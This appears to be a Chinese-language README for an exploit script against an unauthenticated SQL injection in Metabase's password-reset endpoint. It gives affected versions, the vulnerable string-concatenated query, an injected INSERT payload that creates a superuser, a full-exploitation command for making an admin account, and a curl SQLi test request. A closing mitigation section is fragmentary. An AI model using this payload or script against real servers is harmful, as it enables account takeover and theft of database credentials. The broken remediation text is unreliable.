
Metabase /api/session/reset_password 端点存在未认证的 SQL 注入漏洞。可创建管理员账户并提取数据库凭据。
受影响版本:v58.0 - v63.3 | 已修复版本:v58.24+、v59.21+、v60.17+、v61.11+、v62.9+、v63.5+
pip install flask requests
python3 CVE-2026-72898.py http://localhost:5000 --check
SQL 查询中的字符串拼接:
# 存在漏洞的代码
query = f"SELECT * FROM core_user WHERE email='{email}'"
攻击载荷:
'; INSERT INTO core_user (email, password, is_superuser) VALUES ('admin@hack', 'hash', 1); --
仅检测(不做任何修改):
python3 CVE-2026-72898.py http://localhost:5000 --check
完整利用:
python3 CVE-2026-72898.py http://localhost:5000 -e [email protected] -p Password123!
手动测试:
# 验证端点
curl http://localhost:5000/api/health
# 测试 SQLi
curl -X POST http://localhost:5000/api/session/reset_password \
-H "Content-Type: application/json" \
-d '{"email": "'"'"' OR '"'"'1'"'"'='"'"'1"}'
立即执行:
/api/session/reset_password后续执行:
仅限授权使用。未经授权的访问属于违法行为。